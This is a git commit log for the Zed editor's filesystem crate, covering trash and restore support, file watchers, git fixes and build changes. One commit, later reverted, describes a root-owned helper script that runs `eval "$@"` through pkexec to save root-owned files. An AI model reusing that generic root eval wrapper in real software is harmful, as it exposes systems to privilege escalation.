`project_panel::tests::undo` to avoid growing the
`project::project_panel_tests` module into a monolithic test module
- Some of the functions in `project::project_panel_tests` were made
`pub(crate)` in order for us to be able to call those from
`project_panel::tests::undo`
  
### FS Changes

- Refactored the `Fs::trash_file` and `Fs::trash_dir` methods into a
single `Fs::trash` method
- This can now be done because `RealFs::trash_dir` and
`RealFs::trash_file` were simply calling `trash::delete_with_info`, so
we can simplify the trait
- Tests have also been simplified to reflect this new change, so we no
longer need a separate test for trashing a file and trashing a directory
- Update `Fs::trash` and `Fs::restore` to be async
- On the `RealFs` implementation we're now spawning a thread to perform
the trash/restore operation

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Relates to #5039

Release Notes:

- N/A

---------

Co-authored-by: Yara <git@yara.blue>
Co-authored-by: Miguel Raz Guzmán Macedo <miguel@zed.dev>
Co-authored-by: Marshall Bowers <git@maxdeviant.com>
2026-04-09 18:49:16 +01:00
Dino f8fec812e5 fs: Return trashed file location (#52012)
Update both `Fs::trash_dir` and `Fs::trash_file` to now return the
location of the trashed directory or file, as well as adding the
`trash-rs` create dependency and updating the `RealFs` implementation
for these methods to simply leverage `trash::delete_with_info`.

* Add `fs::Fs::TrashedEntry` struct, which allows us to track the
  original file path and the new path in the OS' trash
* Update the `fs::Fs::trash_dir` and `fs::Fs::trash_file` signatures to
  now return `Result<TrashedEntry>` instead of `Result<()>`
* The `options` argument was removed because it was never used by
  implementations other than the default one, and with this change to
  the signature type, we no longer have a default implementation, so the
  `options` argument would no longer make sense
* Update `fs::RealFs::trash_dir` and `fs::RealFs::trash_file`
  implementations to simply delegate to `trash-rs` and convert the
  result to a `TrashedEntry`
* Add `fs::FakeFs::trash` so we can simulate the OS' trash during tests
  that touch the filesystem
* Add `fs::FakeFs::trash_file` implementation to leverage
  `fs::FakeFs::trash`
* Add `fs::FakeFs::trash_dir` implementation to leverage
  `fs::FakeFs::trash`
2026-04-09 17:41:58 +01:00
Alex MihaiucandJohn Tur 061e583223 Remove std::fs::read_link in fs (#50974)
Closes #46307

Before you mark this PR as ready for review, make sure that you have:
- [ ] Added a solid test coverage and/or screenshots from doing manual
testing
- [X] Done a self-review taking into account security and performance
aspects
- [ ] Aligned any UI changes with the [UI
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)

Release Notes:

- Improved compatibility with mounted VHDs on Windows.

---------

Co-authored-by: John Tur <john-tur@outlook.com>
2026-03-14 20:02:34 -04:00
Anthony Eid ff0a927e6b git: Fix remote worktree support (#50614)
The main issue is that we weren't forwarding the proto messages through
the collab server to the host. After fixing that I added integration
tests to cover local worktrees, remote worktrees, and ssh worktrees.

I also fixed a bug with FakeRepository where it wouldn't name its
current branch as a worktree when calling git worktree, which doesn't
match the behavior of the git binary.

Before you mark this PR as ready for review, make sure that you have:
- [x] Added a solid test coverage and/or screenshots from doing manual
testing
- [x] Done a self-review taking into account security and performance
aspects

Release Notes:

- git: Fix bug that caused the git worktree picker from displaying and
creating worktrees over collab
2026-03-03 19:01:28 +01:00
Anthony Eid 749d00fdb8 Add back "fs: Replace MacWatcher with notify::FsEventWatcher"" (#47952)
Reverts zed-industries/zed#47799

Now that we have a week to let this be tested in Nightly we can merge it
again

Release Notes:
 
- Fix to many file descriptors error in MacOS
2026-01-29 17:27:55 +00:00
Anthony Eid 8fffdd8615 Revert "fs: Replace MacWatcher with notify::FsEventWatcher" (#47799)
Reverts zed-industries/zed#47322. I'm going to remerge this tomorrow
after releases so we get a full week in nightly to catch any bugs
2026-01-27 20:27:53 +00:00
Marco Mihai CondracheandAnthony Eid 45df4111c0 fs: Replace MacWatcher with notify::FsEventWatcher (#47322)
Closes #47064 
Closes #20806

The previous implementation used Zed's custom fsevent crate, which
spawned a dedicated thread for each watched path. On large projects,
this could result in 100+ threads just for filesystem watching.

This PR removes the `fsevent` crate and switches to using `notify's`
FsEventWatcher directly. The notify implementation maintains a single
FSEvents stream that watches all paths on one thread. When paths are
added or removed, the stream is stopped, the path list is updated, and
the stream is restarted.

Ref: https://github.com/notify-rs/notify/blob/main/notify/src/fsevent.rs

As a result, Zed now uses one thread for filesystem watching regardless
of how many paths are watched.

Release Notes:

- On macOS, Zed now uses significantly fewer resources when watching
filesystem changes

---------

Signed-off-by: Marco Mihai Condrache <52580954+marcocondrache@users.noreply.github.com>
Co-authored-by: Anthony Eid <anthony@zed.dev>
2026-01-27 19:12:41 +00:00
Piotr Osiewicz 44c68b0e1f fs: Use public-api-only tests (#47149)
This reduces time needed to build tests for fs from 1.2s to 0.6s.
Release Notes:

- N/A
2026-01-22 10:22:29 +01:00
Bhuminjay SoniandJakub Konka 4d7dfc7a76 git: Use correct file mode when staging (#41900)
Closes #28667

Release Notes:

- Fixed git not preserving file mode when committing. Now if an input file is executable it will be preserved when committed with Zed.

---------

Signed-off-by: 11happy <soni5happy@gmail.com>
Signed-off-by: 11happy <bhuminjaysoni@gmail.com>
Co-authored-by: Jakub Konka <kubkon@jakubkonka.com>
2025-11-26 09:01:20 +00:00
Nia e411126350 notify: Bump to rebased 8.2.0 fork (#42113)
Hopefully makes progress towards #38109, #39266

Release Notes:

- N/A
2025-11-06 16:30:17 +00:00
Julia Ryan 5a5b5ae2bb Remove workspace-hack (#40216)
We've been considering removing workspace-hack for a couple reasons:
- Lukas ran into a situation where its build script seemed to be causing
spurious rebuilds. This seems more likely to be a cargo bug than an
issue with workspace-hack itself (given that it has an empty build
script), but we don't necessarily want to take the time to hunt that
down right now.
- Marshall mentioned hakari interacts poorly with automated crate
updates (in our case provided by rennovate) because you'd need to have
`cargo hakari generate && cargo hakari manage-deps` after their changes
and we prefer to not have actions that make commits.

Currently removing workspace-hack causes our workspace to grow from
~1700 to ~2000 crates being built (depending on platform), which is
mainly a problem when you're building the whole workspace or running
tests across the the normal and remote binaries (which is where
feature-unification nets us the most sharing). It doesn't impact
incremental times noticeably when you're just iterating on `-p zed`, and
we'll hopefully get these savings back in the future when
rust-lang/cargo#14774 (which re-implements the functionality of hakari)
is finished.

Release Notes:

- N/A
2025-10-17 18:58:14 +00:00
Ben BrandtandAntonio Scandurra 3eb6246851 agent2: Initial infra for checkpoints and message editing (#36120)
Release Notes:

- N/A

---------

Co-authored-by: Antonio Scandurra <me@as-cii.com>
2025-08-13 15:46:28 +00:00
tidely dae4db2162 chore: Make objc a workspace level crate (#28258)
Make objc a workspace level crate to unify version control

Release Notes:

- N/A
2025-04-07 18:46:09 +00:00
ec4babbf14 Add workspace-hack (#27277)
This adds a "workspace-hack" crate, see
[mozilla's](https://hg.mozilla.org/mozilla-central/file/3a265fdc9f33e5946f0ca0a04af73acd7e6d1a39/build/workspace-hack/Cargo.toml#l7)
for a concise explanation of why this is useful. For us in practice this
means that if I were to run all the tests (`cargo nextest r
--workspace`) and then `cargo r`, all the deps from the previous cargo
command will be reused. Before this PR it would rebuild many deps due to
resolving different sets of features for them. For me this frequently
caused long rebuilds when things "should" already be cached.

To avoid manually maintaining our workspace-hack crate, we will use
[cargo hakari](https://docs.rs/cargo-hakari) to update the build files
when there's a necessary change. I've added a step to CI that checks
whether the workspace-hack crate is up to date, and instructs you to
re-run `script/update-workspace-hack` when it fails.

Finally, to make sure that people can still depend on crates in our
workspace without pulling in all the workspace deps, we use a `[patch]`
section following [hakari's
instructions](https://docs.rs/cargo-hakari/0.9.36/cargo_hakari/patch_directive/index.html)

One possible followup task would be making guppy use our
`rust-toolchain.toml` instead of having to duplicate that list in its
config, I opened an issue for that upstream: guppy-rs/guppy#481.

TODO:
- [x] Fix the extension test failure
- [x] Ensure the dev dependencies aren't being unified by Hakari into
the main dependencies
- [x] Ensure that the remote-server binary continues to not depend on
LibSSL

Release Notes:

- N/A

---------

Co-authored-by: Mikayla <mikayla@zed.dev>
Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com>
2025-04-02 13:26:34 -07:00
Julia Ryan 70cf200ac3 nix: Clean up build (#27881)
- bump our livekit version to include a fix for a crane bug (TODO: add
link when an issue is filed on crane)
- switch to a clang stdenv for both linux and macos
- manually unify versions of our notify crate
- remove old linker flags which were only needed for livekit
- fix an issue where RUSTFLAGS shadowed the rustflags from cargo configs

Release Notes:

- N/A
2025-04-01 22:35:15 +00:00
张小白 b560d9b23b windows: Fix performance issues after trashing or deleting a folder (#27498)
Closes #25247

Since the upstream `Notify` repo hasn't merged the related PR yet, this
is basically a temporary patch to work around it.

Release Notes:

- N/A
2025-03-26 23:20:09 +08:00
Max BrunsfeldandJunkui Zhang 7085d368d5 Make FakeGitRepository behave more like a real git repository (#26961)
This PR reworks the `FakeGitRepository` type that we use for testing git
interactions, to make it more realistic. In particular, the `status`
method now derives the Git status from the differences between HEAD, the
index, and the working copy. This way, if you modify a file in the
`FakeFs`, the Git repository's `status` method will reflect that
modification.

Release Notes:

- N/A

---------

Co-authored-by: Junkui Zhang <364772080@qq.com>
2025-03-19 16:04:27 +00:00
Piotr Osiewicz 59b441d002 chore: Use workspace fields for edition and publish (#23291)
This prepares us for an upcoming bump to Rust 2024 edition.

Release Notes:

- N/A
2025-01-17 17:39:22 +01:00
Conrad Irwin 99cf5a3984 Revert "linux: Fix saving file with root ownership (#22045)" (#23162)
Release Notes:

- (temporarily) Removes the linux "save file as root" feature while we
figure out bugs.

Updates https://github.com/zed-industries/zed/pull/22045
2025-01-15 05:17:08 +00:00
tims 35989a5854 linux: Fix saving file with root ownership (#22045)
Closes #13585

Currently, saving files with `root` ownership or `root` as the group
throws a `Permission denied (os error 13). Please try again.` error.
This PR fixes the issue on Linux by prompting the user for a password
and saving the file with elevated privileges.

It uses `pkexec` (Polkit), which is by default available on GNOME, KDE,
and most Linux systems. I haven't implemented this for macOS as I don't
have a device to test it on.

This implementation is similar to how Vscode handles it. Except, they
don't show custom message.

**Working**:

When file saving fails due to a `PermissionDenied` error, we create a
temporary file in the same directory as the target file and writes the
data to this temporary file. After, the contents of this file are copied
to the original file using the `tee` command instead of `cp` or `mv`.
This ensures that the ownership and permissions of the original file are
preserved. This command is executed using `pkexec` which will prompt
user for their password.

**Custom Message**:

The message displayed to the user in the prompt is automatically
retrieved from the `org.zed.app.policy` file, which is located at
`/usr/share/polkit-1/actions/`. This file should be installed during the
setup process. While the policy file is optional, omitting it will cause
the user to see the underlying command being executed rather than a
user-friendly message. Currently, VSCode does not display the
user-friendly message.

The policy file must specify a unique binary, ensuring that only that
binary can use the policy file. It cannot be as generic as a
`/bin/bash`, as any software using bash to prompt will end up showing
Zed’s custom message. To address this, we will create a custom bash
script, as simple as the following, placed in `/usr/bin/zed/elevate.sh`.
The script should have root ownership and should not reside in the home
directory, since the policy file cannot resolve `$HOME`.

```sh
#!/bin/bash
eval "$@"
```

*IMPORTANT NOTE*

Since copying the policy file and our script requires sudo privileges,
the installation script will now prompt for the password at very end.
Only on Linux, if `pexec` is installed.

Screenshots:

KDE with policy file:
![Screenshot from 2024-12-15
22-13-06](https://github.com/user-attachments/assets/b8bb7565-85df-4c95-bb10-82e50acf9b56)

Gnome with policy file:
![Screenshot from 2024-12-15
22-21-48](https://github.com/user-attachments/assets/83d15056-a2bd-41d9-a01d-9b8954260381)

Gnome without policy file:

![image](https://github.com/user-attachments/assets/66c39d02-eed4-4f09-886f-621b6d37ff43)

VSCode:

![image](https://github.com/user-attachments/assets/949dc470-c3df-4e2f-8cc6-31babaee1d18)

User declines the permission request:

![image](https://github.com/user-attachments/assets/c5cbf056-f6f9-43a8-8d88-f2b0597e14d6)

Release Notes:

- Fixed file saving with root ownership on Linux.
2024-12-19 22:16:01 +00:00
Cole Miller 54eeb0c31e linux: Don't watch parent directory when target path already exists (#21854)
The Linux watcher was unconditionally watching the parent directory of
every watched path. This is needed in the case of config files that may
not exist when the watch is set up, but not in other cases. Scoping the
parent watch more narrowly cuts down on the amount of error logging from
irrelevant file change notifications being sent to Zed (in my case it
was picking up changes to a random file in `$HOME`).

Release Notes:

- N/A
2024-12-12 01:54:14 -05:00
Michael Sloan 47d6dc1e3b Add fs::MTime newtype to encourage != instead of > (#20830)
See ["mtime comparison considered
harmful"](https://apenwarr.ca/log/20181113) for details of why
comparators other than equality/inequality should not be used with
mtime.

Release Notes:

- N/A
2024-11-21 19:21:18 -07:00
Caleb Heydon 4ae2d6f15d Add initial FreeBSD support (#20480)
This PR adds initial support for FreeBSD
(https://github.com/zed-industries/zed/issues/15309). While there is
still work left to be done, it seems to be usable. As discussed by
@syobocat (https://github.com/zed-industries/zed/discussions/10247), the
changes were just adding ```target_os = "freebsd"``` to wherever it
checks if the OS is Linux.


![image](https://github.com/user-attachments/assets/80ea5b29-047f-4cbd-8263-42e5fa6c94b7)

Needs to be build with ```RUSTFLAGS="-C link-dead-code"```

Known Issues:
- There's an issue in ```crates/project/src/environment.rs``` where a
command fails because ```/bin/sh``` on FreeBSD doesn't support the
```-l``` option.

![image](https://github.com/user-attachments/assets/c3c38633-160f-4f47-8840-e3da67f6ebc8)
- The file/folder choosers provided by the ```ashpd``` crate don't work
on FreeBSD (at least with KDE). This isn't that bad since a fallback
dialog is used.

![image](https://github.com/user-attachments/assets/29373006-1eb9-4ed0-bd52-2d0047fab418)
 - Moving to trash won't work.
- Numerous tests fail (when running on FreeBSD). While I haven't looked
into this much, it appears that the corresponding features seem to work
fine.

Release Notes:

- Added initial support for FreeBSD
2024-11-11 18:39:05 +01:00
renovate[bot]andMikayla ce4f80a010 Update Rust crate cocoa to 0.26 (#17036)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [cocoa](https://togithub.com/servo/core-foundation-rs) | dependencies
| minor | `0.25` -> `0.26` |
| [cocoa](https://togithub.com/servo/core-foundation-rs) |
workspace.dependencies | minor | `0.25` -> `0.26` |

---

### Configuration

📅 **Schedule**: Branch creation - "after 3pm on Wednesday" in timezone
America/New_York, Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC41Ni4wIiwidXBkYXRlZEluVmVyIjoiMzguNTYuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Mikayla <mikayla@zed.dev>
2024-08-28 21:57:26 -07:00
Sinan GençoğluandMarshall Bowers ceb0fe83f2 Replace lazy_static with std::sync::LazyLock (#16066)
Closes #15860 

Since rust std now supports LazyLock replacing lazy_static with it
reduce the external dependency.

Release Notes:

- N/A

---------

Co-authored-by: Marshall Bowers <elliott.codes@gmail.com>
2024-08-20 14:27:33 -04:00
Marshall Bowers 13455643bf Add global Fs instance (#15044)
This PR adds a global `Fs` instance to the app context.

This will make it easier to access the filesystem in some cases instead
of having to thread it around.

Release Notes:

- N/A
2024-07-23 17:59:55 -04:00
Marshall Bowers ea7674cb75 Extract paths out of util (#13182)
This PR extracts the definition of the various Zed paths out of `util`
and into a new `paths` crate.

`util` is for generic utils, while these paths are Zed-specific. For
instance, `gpui` depends on `util`, and it shouldn't have knowledge of
these paths, since they are only used by Zed.

Release Notes:

- N/A
2024-06-17 19:27:42 -04:00
Joshua Ferguson 124c49a258 Add xdg trash support (#12391)
- Added support for xdg trash when deleting files on linux
- moved ashpd depency to toplevel to use it in both fs and gpui

If I need to add test, or change anything, please let me know. I tested
locally by creating and deleting a file and confirming it showed up in
my trashcan, but that probably a less than ideal method of confirming
correct behavior

Also, I could remove the delete directory function for linux, and change
the one configured for macos to compile for both macos and linux (they
are the same, the version of the function they are calling is
different).

Release Notes:

- N/A
2024-05-29 14:15:29 -07:00
Conrad Irwin a01688cacc linux cli (#11585)
- [x] Build out cli on linux
- [x] Add support for --dev-server-token sent by the CLI
- [x] Package cli into the .tar.gz
- [x] Link the cli to ~/.local/bin in install.sh

Release Notes:

- linux: Add cli support for managing zed
2024-05-09 21:08:49 -06:00
Mikayla Maki 848cfb4602 Switch from delete file by default to trash file by default (#10875)
TODO:

- [x] Don't immediately seg fault
- [x] Implement for directories 
- [x] Add cmd-delete to remove files
- [ ] ~~Add setting for trash vs. delete~~ You can just use keybindings
to change the behavior.

fixes https://github.com/zed-industries/zed/issues/7228
fixes https://github.com/zed-industries/zed/issues/5094

Release Notes:

- Added a new `project_panel::Trash` action and changed the default
behavior for `backspace` and `delete` in the project panel to send a
file to the systems trash, instead of permanently deleting it
([#7228](https://github.com/zed-industries/zed/issues/7228),
[#5094](https://github.com/zed-industries/zed/issues/5094)). The
original behavior can be restored by adding the following section to
your keybindings:

```json5
[
// ...Other keybindings...
  {
    "context": "ProjectPanel",
    "bindings": {
        "backspace": "project_panel::Delete",
        "delete": "project_panel::Delete",
    }
  }
]
2024-04-26 17:43:50 -07:00
Piotr Osiewicz 49ce9750b4 fs: Move Repository trait into git crate (#10768)
/cc @mrnugget 
Release Notes:

- N/A
2024-04-19 11:57:17 +02:00
bd3752ffd2 Add git blame (#8889)
This adds a new action to the editor: `editor: toggle git blame`. When
used it turns on a sidebar containing `git blame` information for the
currently open buffer.

The git blame information is updated when the buffer changes. It handles
additions, deletions, modifications, changes to the underlying git data
(new commits, changed commits, ...), file saves. It also handles folding
and wrapping lines correctly.

When the user hovers over a commit, a tooltip displays information for
the commit that introduced the line. If the repository has a remote with
the name `origin` configured, then clicking on a blame entry opens the
permalink to the commit on the code host.

Users can right-click on a blame entry to get a context menu which
allows them to copy the SHA of the commit.

The feature also works on shared projects, e.g. when collaborating a
peer can request `git blame` data.

As of this PR, Zed now comes bundled with a `git` binary so that users
don't have to have `git` installed locally to use this feature.

### Screenshots

![screenshot-2024-03-28-13 57
43@2x](https://github.com/zed-industries/zed/assets/1185253/ee8ec55d-3b5e-4d63-a85a-852da914f5ba)

![screenshot-2024-03-28-14 01
23@2x](https://github.com/zed-industries/zed/assets/1185253/2ba8efd7-e887-4076-a87a-587a732b9e9a)
![screenshot-2024-03-28-14 01
32@2x](https://github.com/zed-industries/zed/assets/1185253/496f4a06-b189-4881-b427-2289ae6e6075)

### TODOs

- [x] Bundling `git` binary

### Release Notes

Release Notes:

- Added `editor: toggle git blame` command that toggles a sidebar with
git blame information for the current buffer.

---------

Co-authored-by: Antonio <antonio@zed.dev>
Co-authored-by: Piotr <piotr@zed.dev>
Co-authored-by: Bennet <bennetbo@gmx.de>
Co-authored-by: Mikayla <mikayla@zed.dev>
2024-03-28 18:32:11 +01:00
张小白 b0216a9013 Windows: make fs to use workspace windows crate (#9350)
Release Notes:

- N/A
2024-03-14 10:43:06 -07:00
Mikayla Maki dea0de8688 Add rs-notify implementation of fs::watch (#9040)
This PR simplifies the Zed file system abstraction and implements
`Fs::watch` for linux and windows.

TODO:
- [x] Figure out why this fails to initialize the file watchers when we
have to initialize the config directory paths, but succeeds on
subsequent runs.
- [x] Fix macOS dependencies on old fsevents::Event crate

Release Notes:

- N/A
2024-03-08 22:18:44 -08:00
Marshall Bowers ca6e1659eb Move Clippy configuration to the workspace level (#8891)
This PR moves the Clippy configuration up to the workspace level.

We're using the [`lints`
table](https://doc.rust-lang.org/cargo/reference/workspaces.html#the-lints-table)
to configure the Clippy ruleset in the workspace's `Cargo.toml`.

Each crate in the workspace now has the following in their own
`Cargo.toml` to inherit the lints from the workspace:

```toml
[lints]
workspace = true
```

This allows for configuring rust-analyzer to show Clippy lints in the
editor by using the following configuration in your Zed `settings.json`:

```json
{
  "lsp": {
    "rust-analyzer": {
      "initialization_options": {
        "check": {
          "command": "clippy"
        }
      }
    }
  }
```

Release Notes:

- N/A
2024-03-05 12:01:17 -05:00
cf930d26ca Add initial support for defining language server adapters in WebAssembly-based extensions (#8645)
This PR adds **internal** ability to run arbitrary language servers via
WebAssembly extensions. The functionality isn't exposed yet - we're just
landing this in this early state because there have been a lot of
changes to the `LspAdapter` trait, and other language server logic.

## Next steps

* Currently, wasm extensions can only define how to *install* and run a
language server, they can't yet implement the other LSP adapter methods,
such as formatting completion labels and workspace symbols.
* We don't have an automatic way to install or develop these types of
extensions
* We don't have a way to package these types of extensions in our
extensions repo, to make them available via our extensions API.
* The Rust extension API crate, `zed-extension-api` has not yet been
published to crates.io, because we still consider the API a work in
progress.

Release Notes:

- N/A

---------

Co-authored-by: Marshall <marshall@zed.dev>
Co-authored-by: Nathan <nathan@zed.dev>
Co-authored-by: Marshall Bowers <elliott.codes@gmail.com>
2024-03-01 16:00:55 -08:00
Dzmitry Malyshau cc18ac5721 Clean up many small dependencies (part 3) (#8425)
Follow-up to #8353

Release Notes:
- N/A
2024-02-26 11:08:57 +02:00
Small White 0adca0a927 Introduce file_id on Windows (#8130)
Added a function `file_id` to get the file id on windows, which is
similar to inode on unix.

Release Notes:

- N/A
2024-02-22 11:22:12 -08:00
gmorenz 36d4b65161 Translate notify::Event to fsevent::Event on linux (#7545)
This isn't exactly a great solution, but it's a step in the right
direction, and it's simple allowing us to quickly unblock linux. Without
this (or an equivalent) PR linux builds are broken.

I spent a bunch of time investigating using notify on macos, and have a
branch with that working and FakeFs updated to use notify events.
unfortunately I think this would come with some drawbacks. Primarily
that files that don't yet exist yet aren't handled as well as with using
events directly leading to some less than ideal tradeoffs.

This PR is very much a placeholder for a better cross platform solution.
Most problematically, it only fills in the portion of fsevent::Event
that is currently used, despite there being a lot more information in
the ones collected from macos. At the very least a followup PR should
hide those implementation details behind a cross platform Event type so
that if people try and access data that hasn't been translated, they
find out about it.

Release Notes:

- N/A
2024-02-08 08:35:37 -08:00